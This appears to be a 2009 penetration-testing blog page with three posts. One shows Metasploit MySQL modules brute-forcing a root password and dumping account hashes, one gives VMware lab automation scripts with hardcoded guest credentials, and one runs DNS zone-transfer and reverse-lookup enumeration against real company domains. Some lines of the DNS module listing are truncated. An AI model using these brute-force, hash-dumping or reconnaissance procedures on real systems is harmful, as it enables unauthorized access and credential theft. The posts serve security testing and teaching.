Navigation

Entries by Carlos Perez (157)

Sunday
Dec272009

New MySQL Support in Metasploit

Recently HD added a new mixin for MySQL adding support for connecting and executing queries against MySQL using the MySQL library from tmtm.org. In addition to the library 2 new modules from Bernardo Damele (Author of SQLMap) where added. The modules from Bernardo are:

  • mysql_sql – A simple module for executing queries against MySQL provided the appropriate credentials.
  • mysql_login – Login brut force module.

In addition to this 2 module I wrote a mysql_enum module based on the CIS Benchmark for MySQL and an existing module called version was already present to enumerate a MySQL version thru the network.

The Mixin

Lets start by taking a look at the Mixin. At the moment of this blog post this is how the mixin looks:

  1: require 'msf/core'
  2: require 'rbmysql'
  3: 
  4: module Msf
  5: module Exploit::Remote::MYSQL
  6: 
  7: 	include Exploit::Remote::Tcp
  8: 
  9: 	def initialize(info = {})
 10: 		super
 11: 
 12: 		register_options(
 13: 			[
 14: 				Opt::RHOST,
 15: 				Opt::RPORT(3306),
 16: 				OptString.new('MYSQL_USER', [ true, 'The username to authenticate as', 'root']),
 17: 				OptString.new('MYSQL_PASS', [ false, 'The password for the specified username', '']),
 18: 			], Msf::Exploit::Remote::MYSQL
 19: 		)
 20: 	end
 21: 
 22: 	def mysql_login(user='root', pass='', db=nil)
 23: 		disconnect if self.sock
 24: 		connect
 25: 
 26: 		@mysql_handle = ::RbMysql.connect({
 27: 			:host     => rhost,
 28: 			:port     => rport,
 29: 			:socket   => sock,
 30: 			:user     => user,
 31: 			:password => pass,
 32: 			:db       => db
 33: 		})
 34: 	end
 35: 
 36: 	def mysql_logoff
 37: 		@mysql_handle = nil if @mysql_handle
 38: 		disconnect if self.sock
 39: 	end
 40: 
 41: 	def mysql_login_datastore
 42: 		mysql_login(datastore['MYSQL_USER'], datastore['MYSQL_PASS'])
 43: 	end
 44: 
 45: 	def mysql_query(sql)
 46: 		res = nil
 47: 		begin
 48: 			res = @mysql_handle.query(sql)
 49: 		rescue ::RbMysql::Error => e
 50: 			print_error("MySQL Error: #{e.class} #{e.to_s}")
 51: 			return
 52: 		end
 53: 
 54: 		res
 55: 	end
 56: 
 57: end
 58: end

 

 

From lines 9 to 20 the mixin when initialized adds the following options to the module that imports it:

  • RHOST – The MySQL server to connect to.
  • RPORT – The MySQL port, default value of 3306.
  • MYSQL_USER – User account to use for the connecting to the MySQL Server.
  • MYSQL_PASS – Password to use for the connecting to the MySQL Server

The Mixin is a very simple one to use it provides 4 calls:

  • mysql_login – this call allows the coder to connect to a MySQL server providing the Username, Password and Database
  • mysql_logoff - Disconnects the connection created to the database server created by msql_login
  • mysql_login_datastore – Is a wrapper around mysql_login where a login is made using only the datastore values for MYSQL_USER and MYSQL_PASS.
  • mysql_query – Performs a SQL query against the connected database server given a SQL string to execute.
The MySQL Version Scanner Module

The existing module before the mixing was added is the version scanner module by Kris Katterjohn:

   1: msf > use auxiliary/scanner/mysql/version 
   2: msf auxiliary(version) > info
   3:  
   4:        Name: MySQL Server Version Enumeration
   5:     Version: 6482
   6:     License: Metasploit Framework License (BSD)
   7:        Rank: Normal
   8:  
   9: Provided by:
  10:   kris katterjohn <katterjohn@gmail.com>
  11:  
  12: Basic options:
  13:   Name     Current Setting  Required  Description
  14:   ----     ---------------  --------  -----------
  15:   RHOSTS                    yes       The target address range or CIDR identifier
  16:   RPORT    3306             yes       The target port
  17:   THREADS  1                yes       The number of concurrent threads
  18:  
  19: Description:
  20:   Enumerates the version of MySQL servers
  21:  
  22: msf auxiliary(version) > 

the module accepts as options

  • RHOSTS – a targeted address range.
  • RPORT – the TCP port on where to look for, the port 3306 is set by default.
  • THREADS – the number of threads to use for lloking for host and enumerating their versions, default is 1.

Lets set a scan and run it against the local network.

   1: msf auxiliary(version) > set RHOSTS 192.168.1.1/24
   2: RHOSTS => 192.168.1.1/24
   3: msf auxiliary(version) > set THREADS 10
   4: THREADS => 10
   5: msf auxiliary(version) > run
   6:  
   7: [*] Scanned 029 of 256 hosts (011% complete)
   8: [*] Scanned 052 of 256 hosts (020% complete)
   9: [*] Scanned 077 of 256 hosts (030% complete)
  10: [*] Scanned 103 of 256 hosts (040% complete)
  11: [*] Scanned 128 of 256 hosts (050% complete)
  12: [*] Scanned 154 of 256 hosts (060% complete)
  13: [*] Scanned 189 of 256 hosts (073% complete)
  14: [*] Scanned 205 of 256 hosts (080% complete)
  15: [*] 192.168.1.225:3306 is running MySQL ["5.0.75-0ubuntu10.2"] (protocol [10])
  16: [*] Scanned 232 of 256 hosts (090% complete)
  17: [*] Scanned 256 of 256 hosts (100% complete)
  18: [*] Auxiliary module execution completed
  19: msf auxiliary(version) > 

It found our MySQL box and enumerated correctly the version.

The MySQL Login Bruteforce Module

 

The MySQL Login Bruteforce module by Bernardo is one of the first modules to use the new mixin:

   1: msf > use auxiliary/scanner/mysql/mysql_login 
   2:  
   3: msf auxiliary(mysql_login) > info
   4:  
   5:        Name: MySQL Login Utility
   6:     Version: 7979
   7:     License: Metasploit Framework License (BSD)
   8:        Rank: Normal
   9:  
  10: Provided by:
  11:   Bernardo Damele A. G. <bernardo.damele@gmail.com>
  12:  
  13: Basic options:
  14:   Name             Current Setting  Required  Description
  15:   ----             ---------------  --------  -----------
  16:   MYSQL_PASS                        no        The password for the specified username
  17:   MYSQL_PASS_FILE                   no        A dictionary of passwords to perform a bruteforce attempt
  18:   MYSQL_USER       root             yes       The username to authenticate as
  19:   RHOSTS                            yes       The target address range or CIDR identifier
  20:   RPORT            3306             yes       The target port
  21:   THREADS          1                yes       The number of concurrent threads
  22:   VERBOSE          false            yes       Verbose output
  23:  
  24: Description:
  25:   This module simply queries the MySQL instance for a specific 
  26:   user/pass (default is root with blank).
  27:  
  28: msf auxiliary(mysql_login) > 

The module adds 3 options additional to the options that are part of the mixin, this options are:

  • MYSQL_PASS_FILE – A Dictionary of password to perform the bruteforce.
  • THREADS – The Number of simultaneous attempts to perform.
  • VERBOSE – Enable verbose mode so as to see as much information of what the module is doing.
  • RHOSTS – The range of servers to test.

Once successful this module also saves the found credentials in the database attached to the framework if one is present. Lets set the module to attack the found MySQL server, give it a password file and set it to 10 concurrent connections:

   1: msf auxiliary(mysql_login) > set MYSQL_PASS_FILE /tmp/pass.txt
   2: MYSQL_PASS_FILE => /tmp/pass.txt
   3: msf auxiliary(mysql_login) > set THREADS 5
   4: THREADS => 5
   5: msf auxiliary(mysql_login) > set RHOSTS 192.168.1.225
   6: RHOSTS => 192.168.1.225
   7: msf auxiliary(mysql_login) > run
   8:  
   9: [*] 192.168.1.225:3306 successful logged in as 'root' with password 'P@ssword'
  10: [*] Scanned 1 of 1 hosts (100% complete)
  11: [*] Auxiliary module execution completed
  12: msf auxiliary(mysql_login) > 

The new mixin is quite fast.

The MySQL Generic Query Module

This is the second module contributed by Bernardo, it allows the execution of generic SQL queries given a username and password.

   1: msf auxiliary(mysql_login) > use auxiliary/admin/mysql/mysql_sql 
   2: msf auxiliary(mysql_sql) > info
   3:  
   4:        Name: MySQL SQL Generic Query
   5:     Version: 7978
   6:     License: Metasploit Framework License (BSD)
   7:        Rank: Normal
   8:  
   9: Provided by:
  10:   Bernardo Damele A. G. <bernardo.damele@gmail.com>
  11:  
  12: Basic options:
  13:   Name        Current Setting   Required  Description
  14:   ----        ---------------   --------  -----------
  15:   MYSQL_PASS                    no        The password for the specified username
  16:   MYSQL_USER  root              yes       The username to authenticate as
  17:   RHOST                         yes       The target address
  18:   RPORT       3306              yes       The target port
  19:   SQL         select version()  yes       The SQL to execute.
  20:  
  21: Description:
  22:   This module allows for simple SQL statements to be executed against 
  23:   a MySQL instance given the appropriate credentials.
  24:  
  25: msf auxiliary(mysql_sql) > 

  Lets set the module to execute the “select user, host, password from mysql.user” query to list all accounts configured on the server, the host from which they can connect to and the password hash (in version 5 a double SHA1):

   1: msf auxiliary(mysql_sql) > set MYSQL_PASS P@ssword
   2: MYSQL_PASS => P@ssword
   3: msf auxiliary(mysql_sql) > set RHOST 192.168.1.225
   4: RHOST => 192.168.1.225
   5: msf auxiliary(mysql_sql) > set SQL select user, host, password from mysql.user
   6: SQL => select user, host, password from mysql.user
   7: msf auxiliary(mysql_sql) > run
   8:  
   9: [*] Sending statement: 'select user, host, password from mysql.user'...
  10: [*]  | root | localhost | *1114CDA5E6E3C382919BCF0D858DD97EB8254812 |
  11: [*]  | root | mysql1 | *1114CDA5E6E3C382919BCF0D858DD97EB8254812 |
  12: [*]  | root | 127.0.0.1 | *1114CDA5E6E3C382919BCF0D858DD97EB8254812 |
  13: [*]  | debian-sys-maint | localhost | *B5B29092C4F54539DAEED066DDA875543A81C9A8 |
  14: [*]  | root | % | *1114CDA5E6E3C382919BCF0D858DD97EB8254812 |
  15: [*]  | empypassusr | % |  |
  16: [*]  |  | % | *26084ECEA9703C37D3D28CA34D9346D9527B0ABF |
  17: [*] Auxiliary module execution completed
  18: msf auxiliary(mysql_sql) > 

The level of access and what queries can be performed will depend on the permissions of the account that is being used.

 The MySQL Enumeration Module

Entering each query one by one will take some time, so I wrote a module that uses the mixin for performing enumeration of those parameter, privileges and accounts that might be of interest to an attacker.

   1: msf auxiliary(mysql_sql) > use auxiliary/admin/mysql/mysql_enum 
   2: msf auxiliary(mysql_enum) > info
   3:  
   4:        Name: MySQL Enumeration Module
   5:     Version: $Revision:$
   6:     License: Metasploit Framework License (BSD)
   7:        Rank: Normal
   8:  
   9: Provided by:
  10:   Carlos Perez. <carlos_perez@darkoperator.com>
  11:  
  12: Basic options:
  13:   Name        Current Setting  Required  Description
  14:   ----        ---------------  --------  -----------
  15:   MYSQL_PASS                   no        The password for the specified username
  16:   MYSQL_USER  root             yes       The username to authenticate as
  17:   RHOST                        yes       The target address
  18:   RPORT       3306             yes       The target port
  19:  
  20: Description:
  21:   This module allows for simple enumeration of MySQL Database Server 
  22:   provided proper credentials to connect remotely.
  23:  
  24: References:
  25:   https://cisecurity.org/benchmarks.html
  26:  
  27: msf auxiliary(mysql_enum) > 

Lets provide the appropriate parameters to execute the module against the MySQL server (Note: You can use global variables so to not enter the information individually in each module using the setg command)

   1: msf auxiliary(mysql_enum) > set RHOST 192.168.1.225
   2: RHOST => 192.168.1.225
   3: msf auxiliary(mysql_enum) > set MYSQL_PASS P@ssword
   4: MYSQL_PASS => P@ssword
   5: msf auxiliary(mysql_enum) > run
   6:  
   7: [*] Running MySQL Enumerator...
   8: [*] Enumerating Parameters
   9: [*]     MySQL Version: 5.0.75-0ubuntu10.2
  10: [*]     Compiled for the following OS: debian-linux-gnu
  11: [*]     Architecture: i486
  12: [*]     Server Hostname: mysql1
  13: [*]     Data Directory: /var/lib/mysql/
  14: [*]     Logging of queries and logins: OFF
  15: [*]     Old Password Hashing Algorithm: OFF
  16: [*]     Loading of local files: ON
  17: [*]     Logings with old Pre-4.1 Passwords: OFF
  18: [*]     Allow Use of symlinks for Databse Files: YES
  19: [*]     Allow Table Merge: YES
  20: [*]     SSL Connection: DISABLED
  21: [*] Enumerating Accounts:
  22: [*]     List of Accounts with Password Hashes:
  23: [*]         User: root Host: localhost Password Hash: *1114CDA5E6E3C382919BCF0D858DD97EB8254812
  24: [*]         User: root Host: mysql1 Password Hash: *1114CDA5E6E3C382919BCF0D858DD97EB8254812
  25: [*]         User: root Host: 127.0.0.1 Password Hash: *1114CDA5E6E3C382919BCF0D858DD97EB8254812
  26: [*]         User: debian-sys-maint Host: localhost Password Hash: *B5B29092C4F54539DAEED066DDA875543A81C9A8
  27: [*]         User: root Host: % Password Hash: *1114CDA5E6E3C382919BCF0D858DD97EB8254812
  28: [*]         User: empypassusr Host: % Password Hash: 
  29: [*]         User:  Host: % Password Hash: *26084ECEA9703C37D3D28CA34D9346D9527B0ABF
  30: [*]     The following users have GRANT Privilege:
  31: [*]         User: root Host: localhost
  32: [*]         User: root Host: mysql1
  33: [*]         User: root Host: 127.0.0.1
  34: [*]         User: debian-sys-maint Host: localhost
  35: [*]     The following users have CREATE USER Privilege:
  36: [*]         User: root Host: localhost
  37: [*]         User: root Host: mysql1
  38: [*]         User: root Host: 127.0.0.1
  39: [*]     The following users have RELOAD Privilege:
  40: [*]         User: root Host: localhost
  41: [*]         User: root Host: mysql1
  42: [*]         User: root Host: 127.0.0.1
  43: [*]         User: debian-sys-maint Host: localhost
  44: [*]     The following users have SHUTDOWN Privilege:
  45: [*]         User: root Host: localhost
  46: [*]         User: root Host: mysql1
  47: [*]         User: root Host: 127.0.0.1
  48: [*]         User: debian-sys-maint Host: localhost
  49: [*]     The following users have SUPER Privilege:
  50: [*]         User: root Host: localhost
  51: [*]         User: root Host: mysql1
  52: [*]         User: root Host: 127.0.0.1
  53: [*]         User: debian-sys-maint Host: localhost
  54: [*]     The following users have FILE Privilege:
  55: [*]         User: root Host: localhost
  56: [*]         User: root Host: mysql1
  57: [*]         User: root Host: 127.0.0.1
  58: [*]         User: debian-sys-maint Host: localhost
  59: [*]     The following users have POCESS Privilege:
  60: [*]         User: root Host: localhost
  61: [*]         User: root Host: mysql1
  62: [*]         User: root Host: 127.0.0.1
  63: [*]         User: debian-sys-maint Host: localhost
  64: [*]     The following accounts have privileges to the mysql databse:
  65: [*]         User: root Host: localhost
  66: [*]         User: root Host: mysql1
  67: [*]         User: root Host: 127.0.0.1
  68: [*]         User: debian-sys-maint Host: localhost
  69: [*]     Anonymous Accounts are Present:
  70: [*]         User:  Host: %
  71: [*]     The following accounts have empty passwords:
  72: [*]         User: empypassusr Host: %
  73: [*]     The following accounts are not restricted by source:
  74: [*]         User:  Host: %
  75: [*]         User: empypassusr Host: %
  76: [*]         User: root Host: %
  77: [*] Auxiliary module execution completed
  78: msf auxiliary(mysql_enum) > 

As it can be seen a lot of valuable information is gathered and displayed by the module.

As it can be seen the Framework now provides a new way to attack and enumerate MySQL Servers adding to its flexibility.

Wednesday
Dec232009

Automating My VMware Lab

One of the best ways to learn is to practice and practice and I do have to say that VMWare has played a very large role in my professional life since it allows me  to test ideas, code, validate and practice against different versions of an OS, different patch levels and even different OS’s with out having to have a very large number of servers and routers to simulate environments. My current lab system is a PC running Windows 7 Enterprise with 8GB of RAM, 2 1TB 7200 SATA HD and a Intel Quad 8300, all of this running VMware Workstation 7. I have a collection of VM’s that I clone as needed, my collection of VM’s for cloning are:

  1. (5) Windows 2008 Ent RTM 32bit
  2. (1) Windows 2008 Ent Core RTM 32bit
  3. (2) Windows Vista RTM 32bit
  4. (2) Windows 7 RTM 32bit
  5. (1) Windows XP SP2 32bit
  6. (1) Windows XP SP3 32Bit
  7. (1) Windows 2003 Ent SP2 32bit
  8. (1) Windows 2003 Ent SP1 32bit
  9. (1) Windows 2003 Ent R2 32bit
  10. (1) Windows 2000 Advanced SP3 32bit
  11. (1) Windows 2000 Advanced SP4 32bit
  12. (1) Pfsense 1.2.3 Appliance
  13. (1) BT4
  14. (1) Ubuntu 9.10 32bit

For Database testing I have the following VM’s:

  1. (1) MS SQL 2005 running on Windows 2003 32bit
  2. (1) MS SQL 2008 Running on Windows 2003 Ent 32bit
  3. (1) Oracle 9i Running on Windows 2003 Advanced 32bit
  4. (1) Oracle 10g Running on Windows 2003 Ent 32bit
  5. (1) Oracle 11g Running on Windows 2003 Ent 32bit

As it can be seen since most of my work is done with Meterpreter and post exploitation in Windows Systems the majority of my VM’s are Windows. I do have a lot of VM’s and to make matters a bit more complex when I’m testing something I use VMware Workstation feature of Teams where I create a complete isolated network of machines, this lets me test the machines behind a virtual firewall to see how well my code will work behind several configurations of firewalls and a very good feature of teams is that I can control the speed of a virtual network so I can test how will my attack or code will behave if the client has a 64kbps connection, a T-1 and many other types of speed, this really helps me tune and see how multithreading and moving large files behave thru this connections.

The team where I clone any of the VM’s you see above looks as follow:

teamacmeinc

In the configuration shown above I can play with the speed of the LAN1 network so as to simulate different environments, depending of where I want to simulate the attacker I will place the attacker machine in my home network or as a internal attacker I place an attacking  VM inside LAN2.

As it can be seen my setup can become complicated very fast and doing changes to individual machines becomes a tedious job so what better way  handle all of this VM’s that to automate it For this a simple tool that I like that can be used on Linux, OSX and Windows is the vmrun tool that is part of the VMware VIX kit, this kit is part of Fusion Full download and as a separate download for Linux. With this tool you can manage VM’s in:

  1. ESX and ESXi (Remotely)
  2. VMware Server (Remotely)
  3. VMware Player (Remotely)
  4. VMware Workstation (Locally)
  5. VMware Fusion (Locally)

Some of the stuff you can do with this tool are:

  1. Change state of VM’s(Start, Stop, Pause and Reset)
  2. Manage Snapshots (Creation, Deletion, Revert to Snapshot)
  3. Manage Processes to VM’s(List, Start and Kill)
  4. Upload Files to VM’s
  5. Run Scripts on VM’s

The list above is only a short list of what can be done,  you can check the vmrun Documentation for more options.

One of the things I tend to do is do a snapshot to all running VM’s once I have the environment setup as I want so in case I mess up something I can revert the affected VM, so for this I wrote the following batch script to create a snapshot of all running VM’s

@echo off
setlocal
set Path=C:\Program Files (x86)\VMware\VMware VIX
set snapname=
set /p snapname=Enter the name for the snapshot: 
for /F "skip=1 delims=," %%i in ('vmrun list') do (
echo Creating Snapshot for %%i and naming it %snapname%
vmrun -T ws snapshot "%%i" %snapname%
)
endlocal
set /p any=press any key ....

Here is a sample run of the script

image

As you can see you get prompted for the name to give to the snapshot, and we are doing a snapshot of only the running VM’s since those are the ones I’m working at the moment, I do not want to snapshot my master templates.

To revert to all running VM’s to a known snapshot the only thing I changed is the command to be revertToSnapshot

@echo off
setlocal
set Path=C:\Program Files (x86)\VMware\VMware VIX
set snapname=
set /p snapname=Enter the name for the snapshot:
for /F "skip=1 delims=," %%i in ('vmrun list') do (
echo Reverting snapshot for %%i
vmrun -T ws revertToSnapshot "%%i" %snapname% msg.autoAnswer = TRUE
vmrun start "%%i"
)
endlocal
set /p any=press any key ....

To delete I just changed the command to deleteSnapshot  as you can see it is very simple to script this tool.

@echo off
setlocal
set Path=C:\Program Files (x86)\VMware\VMware VIX
set snapname=
set /p snapname=Enter the name for the snapshot:
for /F "skip=1 delims=," %%i in ('vmrun list') do (
echo Deleting snapshot for %%i
vmrun -T ws deleteSnapshot "%%i" %snapname% msg.autoAnswer = TRUE
vmrun start "%%i"
)
endlocal
set /p any=press any key ....

In the next example I just made the batch accept a variable of file to upload to all windows running hosts by looking at their names and looking for the string“win” and only to those copy the file, I can either drag and drop the file on top of the script or when I run it and the script asks I can just drag and drop the file to the CMD windows so as to copy the path to the executable, also you will see that I provide the guest username and password so it is a good idea to have the same username and password for you lab VM’s on you machine. All VM actions that interact with the OS of the VM require that VMware Tools are installed and that credentials are given to access the underlying OS.

@echo off
set Path=C:\Program Files (x86)\VMware\VMware VIX
if "%1"=="" (set /p file=Enter path of file to upload: ) else (set file="%1")
set /p target=Enter path and filename on VMs to upload: 
for /F "delims=," %%i in ('vmrun list ^| %windir%\system32\find.exe "win"') do (
echo uploading file %file% to %%i
vmrun -T ws -gu administrator -gp Newsystem01 copyFileFromHostToGuest "%%i" "%file%" "%target%"
)
set /p any=press any key ....

Now you can use this other script to run the executable on all windows hosts, a similar one can be made for Linux if you follow a naming conversion for your VM’s.

@echo off
 
set /p file=Enter path and filename of program to run: 
set /p options=Enter options for program:  
for /F "skip=1 delims=," %%i in ('vmrun list ^| %windir%\system32\find.exe "win"') do (
echo uploading file %file% to %%i
vmrun -T ws -gu administrator -gp Newsystem01 runProgramInGuest "%%i" "%file%" "%options%" msg.autoAnswer = TRUE
)
 
set /p any=press any key ....

I just showed some simple examples on automating workstation but this can also be done with VMware Server and ESX/ESXi by just changing the type in the –T flag to server or esx depending the target and giving the address to connect to with –h for the web address and –u for the host user and –p for the host password. The tool simply executes XMLRPC calls thru SSL against the servers. I encourage that you read the rest of the short documentation on vmrun and modify and play with the scripts I here showed as examples, you can transform this same script to batch and use them in OSX or Linux if you like.

Friday
Dec112009

DNS Enumeration with Metasploit

One of the old fashion methods of enumeration that I see time and time again give a large amount of information of great use is DNS (Domain Name Server), a large number of systems now a day depend greatly on this service to be able to operate, from IP Telephony, Windows Active Directory, Backup Systems and many other are dependent on this service. This service simplifies configuration of many services and for this same reason is one of the first areas to look at when gathering information of a target network. At the beginning this service used to be just hosts file that where shared by the system administrators of the systems connected to the internet, now a days we have a much more robust system. System administrators are required to not only know the basics but also understand this system since so much is tied to it, especially since this service easies so much the administration of large IP networks by abstraction of the addressing layer simplifying configurations, resiliency and flexibility of today’s networks. There are 2 main ways I see this system configured in most of companies. In the first configuration the client has one DNS system only for external requests and only external servers to the enterprise are registered and an internal system for Active Directory. In the second configuration the client uses the same DNS system for both internal and external use. The first type of configuration keeps both the internal naming structure and the external naming structure separate does providing some security thru obscurity when the attacker is doing the enumeration from the outside of the network. Many times on small to medium sized companies there only have what it is called a Forward Lookup Zone, this is when you simply give a name and you get back an IP, on some you might find what it is called Wildcard Name Resolution, this is nothing more that the DNS server you are querying if it does not have a specific record for that name will return a pre-defined address, this makes enumeration thru brute force more time consuming since false positives must be cleared and check. The accuracy of the results of DNS enumeration varies a lot depending on the Name Server being queried. A target network may have different domain name spaces that they employ and prior enumeration thru metadata, email headers and other methods reveal this domain names so as to be able to enumerate and take advantage of this service. Also a UDP and TCP portscan with fingerprinting is also a very good idea so as to find any NS server that might be part of a test system or internal exposed DNS server. For DNS enumeration I wrote Metasploit Module to aide in enumeration of targets, the module is called dns_enum. Below you will be able to see how the module can be loaded and list its options inside msfconsole:

msf > use auxiliary/gather/dns_enum 
msf auxiliary(dns_enum) > info

Name: DNS Enumeration Module
Version: $Rev: 7500

License: Metasploit Framework License (BSD)

ided by:
rlos Perez

c options:
me Current Setting Required Description
-- --------------- -------- -----------
MAIN yes The target domain name
UM_AXFR true yes Initiate a zone Transfer against each NS record
UM_BRT false yes Brute force subdomains and hostnames via wordlist
UM_RVL false yes Reverse lookup a range of IP addresses
UM_SRV true yes Enumerate the most common SRV records
UM_STD true yes Enumerate standard record types (A,MX,NS,TXT and SOA)
UM_TLD false yes Perform a top-level domain expansion by replacing TLD and testing against IANA TLD list
RANGE no The target address range or CIDR identifier
no Specify the nameserver to use for queries, otherwise use the system DNS
OP_WLDCRD false yes Stops Brute Force Enumeration if wildcard resolution is detected
RDLIST /Users/cperez/msf3/data/wordlists/namelist.txt no Wordlist file for domain name brute force.

ription:
is module can be used to enumerate various types of information
out a domain from a specific DNS server.

rences:
tp://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0532


As it can be seen in the options there are several ways one can enumerate a targeted domain, the methods are:

• Zone Transfer

• Hostname and Subdomain Dictionary Brute Force

• Reverse Lookup

• Service Record

• Standard Record Query

•Top Lever Domain Name Expansion

The module will print the results to the screen and if a database is configured in Metasploit it will save the results in the database, when using the module I highly recommend the use of MySQL or Postgres as the database to be used to save the results since this module uses multi-threading and might cause locks if using SQLite as the database, if you still choose SQLite for portability and simple management I recommend that the advanced option of THREADS to 1, this will mean a slower enumeration.

The recommended use of the module is to execute a combination of the Standard Record enumeration and the SRV enumeration so as to get a feel of all the domains found. Also testing each NS server that is found thru port scanning for the domain names found thru other methods of enumeration. The module will default to the SOA Server of the DNS name for the domain specified, to override this method and have it test against a specific DNS Name Server set the NS option value to the IP of the DNS server to test against.

The first enumeration is what I call a Standard Record Lookup where the module queries:

· SOA Start of Authority Record

· NS Name Server Records

· MX Mail Exchange Records

· TXT Text Record

From this query we can determine the Main name server for the zone, all other domain name servers, mail servers and with the TXT record the main thing to look for is the SPF1 record, it is used to specify what IP addresses are allowed to send emails on behalf of the domain.

Another lookup to execute is a check for all common SRV or service records, this returns the service type, the port, priority and A or AAA record for the service. Microsoft Active Directory and many Unified Communications solutions use these services.

The module is set by default to perform these queries plus try a Zone Transfer against all NS record returned by the SOA server. Zone Transfer enumeration is when one takes advantage of a miss configuration of the registered Name Servers for a given domain where they are set to share their zone file to anyone who request this information, typically NS servers are set to only share their zones with servers that form part of their infrastructure or probably with a service provider. These transfers are run thru TCP port 53. The module is set to first enumerate the SOA or start of authority of the domain we want to target and query it for list of NS servers it knows of and then goes one by one of this NS servers testing if they would send the entire zone for the given domain. The reason for why each NS server is tested even if one of them returns an answer is that the NS servers might not all be synchronizing with each other and we might get different records from each of the NS servers that are open to this technique, typically some servers are set for testing or staging while others run the production

environment. One thing to keep in mind about this test is that all IPS/IDS systems out there have rules to detect this method of enumeration, but it is one that if successful will give the largest amount of information with the least effort. Lets use google.com as a sample target domain:


msf auxiliary(dns_enum) > set DOMAIN google.com
DOMAIN => google.com
msf auxiliary(dns_enum) > run

[*] Setting DNS Server to google.com NS: 216.239.32.10
[*] Retrieving General DNS Records
[*] Domain: google.com IP Address: 74.125.53.100 Record: A
[*] Domain: google.com IP Address: 74.125.45.100 Record: A
[*] Domain: google.com IP Address: 74.125.67.100 Record: A
[*] Start of Authority: ns1.google.com. IP Address: 216.239.32.10 Record: SOA
[*] Name Server: ns3.google.com. IP Address: 216.239.36.10 Record: NS
[*] Name Server: ns2.google.com. IP Address: 216.239.34.10 Record: NS
[*] Name Server: ns1.google.com. IP Address: 216.239.32.10 Record: NS
[*] Name Server: ns4.google.com. IP Address: 216.239.38.10 Record: NS
[*] Name: google.com.s9b2.psmtp.com. Preference: 10 Record: MX
[*] Name: google.com.s9b1.psmtp.com. Preference: 10 Record: MX
[*] Name: google.com.s9a2.psmtp.com. Preference: 10 Record: MX
[*] Name: google.com.s9a1.psmtp.com. Preference: 10 Record: MX
[*] Text: v=spf1 include:_netblocks.google.com ip4:216.73.93.70/31 ip4:216.73.93.72/31 ~all , TXT
[*] Setting DNS Server to google.com NS: 216.239.32.10
[*] Performing Zone Transfer against all nameservers in gmail.com
[*] Testing Nameserver: ns2.google.com.
AXFR query, switching to TCP
[*] Zone Transfer Failed
[*] Testing Nameserver: ns3.google.com.
AXFR query, switching to TCP
[*] Zone Transfer Failed
[*] Testing Nameserver: ns4.google.com.
AXFR query, switching to TCP
[*] Zone Transfer Failed
[*] Testing Nameserver: ns1.google.com.
AXFR query, switching to TCP
[*] Zone Transfer Failed
[*] Enumerating SRV Records for google.com
[*] SRV Record: _jabber._tcp.google.com Host: xmpp-server2.l.google.com. Port: 5269 Priority: 20
[*] SRV Record: _jabber._tcp.google.com Host: xmpp-server4.l.google.com. Port: 5269 Priority: 20
[*] SRV Record: _jabber._tcp.google.com Host: xmpp-server.l.google.com. Port: 5269 Priority: 5
[*] SRV Record: _jabber._tcp.google.com Host: xmpp-server3.l.google.com. Port: 5269 Priority: 20
[*] SRV Record: _jabber._tcp.google.com Host: xmpp-server1.l.google.com. Port: 5269 Priority: 20
[*] SRV Record: _xmpp-server._tcp.google.com Host: xmpp-server3.l.google.com. Port: 5269 Priority: 20
[*] SRV Record: _xmpp-server._tcp.google.com Host: xmpp-server1.l.google.com. Port: 5269 Priority: 20
[*] SRV Record: _xmpp-server._tcp.google.com Host: xmpp-server.l.google.com. Port: 5269 Priority: 5
[*] SRV Record: _xmpp-server._tcp.google.com Host: xmpp-server4.l.google.com. Port: 5269 Priority: 20
[*] SRV Record: _xmpp-server._tcp.google.com Host: xmpp-server2.l.google.com. Port: 5269 Priority: 20
[*] SRV Record: _xmpp-client._tcp.google.com Host: talk2.l.google.com. Port: 5222 Priority: 20
[*] SRV Record: _xmpp-client._tcp.google.com Host: talk3.l.google.com. Port: 5222 Priority: 20
[*] SRV Record: _xmpp-client._tcp.google.com Host: talk4.l.google.com. Port: 5222 Priority: 20
[*] SRV Record: _xmpp-client._tcp.google.com Host: talk1.l.google.com. Port: 5222 Priority: 20
[*] SRV Record: _xmpp-client._tcp.google.com Host: talk.l.google.com. Port: 5222 Priority: 5
[*] Auxiliary module execution completed


In this example we can see the Name Servers, Mail Servers and other standard records, as it can be seen the sfp records gives us the ip ranges for the mails servers, this ranges can later be examined by doing reverse lookups against them. Also on the SRV enumeration we can see all the jabber servers, their priority and ports, all of this very important information during a pentest when enumerating a target. Zone Transfer failed against all NS servers returned by our query. If examining a domain several of the ns servers enumerated do return the zone compare the results to make sure that one of those NS servers is not an orphan server not being updated or a possible test server.

The next method of enumeration is the Reverse Lookup, a typical DNS query where a name is resolved to an IP is known ad a Forward Lookup a reverse is just the opposite where we query is made for an IP and we get the FQDN (Fully Qualified Domain Name) for the IP, this method of enumeration tends to go un noticed by administrators and IPS/IDS systems. All hosts found thru this method must be verified since there might be old entries for none existing hosts and many times their name tends to give and idea of their purpose. Lets use PGP Corp. as an example, in the TXT record we see the spf1 entry with the ranges for host approved to send emails, lets enumerate on of this ranges:


[*] Setting DNS Server to pgp.com NS: 216.112.104.3
[*] Retrieving General DNS Records
[*] Domain: pgp.com IP Address: 209.237.226.39 Record: A
[*] Start of Authority: ns1.pgp.com. IP Address: 216.112.104.3 Record: SOA
[*] Name Server: ns1.pgp.com. IP Address: 216.112.104.3 Record: NS
[*] Name Server: ns2.pgp.com. IP Address: 216.112.104.4 Record: NS
[*] Name Server: ns3.pgp.com. IP Address: 209.237.226.43 Record: NS
[*] Name: mx1.pgp.com. Preference: 10 Record: MX
[*] Name: mx2.pgp.com. Preference: 20 Record: MX
[*] Text: v=spf1 ip4:216.112.104.0/23 ip4:216.112.105.0/24 ip4:66.236.113.0/24 ip4:209.237.226.32/27 ip4:80.154.106.8 ?all , TXT
[*] Auxiliary module execution completed
msf auxiliary(dns_enum) >


Know we choose the first IP range:


msf auxiliary(dns_enum) > set ENUM_AXFR false
ENUM_AXFR => false
msf auxiliary(dns_enum) > set ENUM_SRV false
ENUM_SRV => false
msf auxiliary(dns_enum) > set ENUM_STD false
ENUM_STD => false
msf auxiliary(dns_enum) > set ENUM_RVL true
ENUM_RVL => true
msf auxiliary(dns_enum) > set IPRANGE 216.112.105.0/24
IPRANGE => 216.112.105.0/24
msf auxiliary(dns_enum) > run
[*] Setting DNS Server to pgp.com NS: 216.112.104.3
[*] Running Reverse Lookup against ip range 216.112.105.0-216.112.105.255
[*] Host Name: keys.testgeo.com. IP Address: 216.112.105.70
